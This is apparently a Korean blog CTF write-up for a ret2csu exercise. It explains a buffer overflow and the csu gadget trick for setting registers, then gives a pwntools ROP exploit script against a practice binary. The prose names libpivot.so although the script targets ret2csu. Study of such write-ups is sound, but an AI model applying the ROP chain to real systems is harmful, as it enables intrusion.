wyv3rn 2023. 7. 7. 20:04
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

코드는 대략 생략하자.

2.2. 분석

공격 준비로 바로 넘어가자.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

buffer overflow

3.2. 공격 준비

main에서 libpivot.so 라이브러리의 pwnme 함수를 호출한다.

libpivot.so 라이브러리 내에는 ret2win 함수가 있는데,

해당 함수에서는 앞선 한 문제와 같이 rdi, rsi, rdx에 각각 특정 값이 있어야 flag를 출력해준다.

그러므로 해당 값들을 레지스터에 넣어야하는데, 직접적으로 넣을 수 있는 gadget이 적절하지 않다.

이 때 사용할 수 있는 것이 csu이다.

 

이전에 작성해둔 문서를 참고하자.

2022.09.05 - [Tips & theory] - Return to csu

 

Return to csu

최근에 꽤나 재미있는 기법을 알게되어 그 기록을 남긴다. 느낀점은 결국 ret address 변조가 가능하면 니 컴퓨터 = 내 컴퓨터 1. 서론 만일 rop 시 적절한 gadget이 구해지지 않는 경우에는 어떻게 하

wyv3rn.tistory.com

다만, 문제는 rdi에 8바이트 값을 넣어야하는데, csu에서는 4바이트만 넣을 수 있다는 점이다.

여기서 추가로 트릭이 하나 더 들어가는데 별도로 글을 작성해야겠다.

 

4. exploit

from pwn import *

p = process('./ret2csu')

rdi = 0x4006a3

pay = b'A' * 8*5
pay += p64(0x40069a)
pay += p64(0) #rbx = 0
pay += p64(1) #rbp = any
pay += p64(0x600e38) #r12 = call addr = ret2win
pay += p64(0xdeadbeefdeadbeef) #r13 = edi
pay += p64(0xcafebabecafebabe) #r14 = rsi
pay += p64(0xd00df00dd00df00d) #r15 = rdx
pay += p64(0x400680) #ret

pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)

pay += p64(rdi)
pay += p64(0xdeadbeefdeadbeef)
pay += p64(0x400516)

p.sendafter(b'> ', pay)

p.interactive()

 

 

728x90
반응형